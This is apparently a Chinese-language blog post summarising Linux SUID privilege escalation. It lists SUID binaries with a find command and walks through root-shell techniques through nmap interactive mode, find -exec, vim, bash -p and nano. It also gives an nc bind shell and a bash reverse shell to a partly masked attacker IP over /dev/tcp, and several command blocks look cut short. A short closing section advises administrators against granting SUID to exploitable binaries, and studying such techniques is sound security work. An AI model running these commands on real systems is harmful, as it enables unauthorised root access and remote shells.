对Linux|SUID提权的一些总结
对Linux|SUID提权的一些总结
SUID简介
通常来说,Linux运行一个程序,是使用当前运行这个程序的用户权限,这当然是合理的。但是有一些程序比较特殊,比如我们常用的ping命令
suid即set user id,是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件
普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限
设置SUID
1 | chmod u+s filename 设置SUID位 |
以下命令可以找出正在系统上运行的所有SUID可执行文件
1 | find / -user root -perm -4000 -print 2>/dev/null |
以下所有的二进制文件都将以root权限运行 我们随便找一个
可以看到其设置了suid权限,并且主权限为root
具体提权方法
Nmap
适用版本:nmap2.02至5.21
在早期nmap版本中,带有交互模式,因而允许用户执行shell命令
使用如下命令进入nmap交互模式:
1 | nmap --interactive |
在nmap交互模式中 通过如下命令提权
1 | nmap> !sh |
nmap提权失败可能出现的原因:
nmap版本过高,限制了suid权限
find
find一般用于在系统中查找文件,同时也有执行命令的能力,所以如果find为SUID权限运行,则通过find执行的命令也都将以root的身份去运行
提权如下:
1 | touch anyfile #必须要有这个文件 |
也可以利用nc进行广播或者反弹shell
广播shell:
1 | find user -exec nc -lvp 4444 -e '/bin/sh' \; |
在攻击机上:
1 | nc 靶机ip 4444 |
反弹shell
1 | find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \; |
在攻击机上:
1 | nc -lvvp 4444 |
Vim
用作编辑器,如果以SUID运行,可以读取并修改系统上所有文件
通过vim进入shell
1 | vim.tiny |
Bash
以下命令将以root身份打开一个bash shell。
1 | bash -p |
nano
nano进入shell的方法为
1 | nano #进入nano编辑器 |
防范
SUID提权由来已久,属于一种古早的提权技术,但其生命力经久不衰。
这要求管理员要仔细研究具有SUID权限的文件,不要给易被利用的文件以SUID权限,防止SUID的滥用导致黑客在进入服务器时轻易获取root权限。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Em4non's Blog!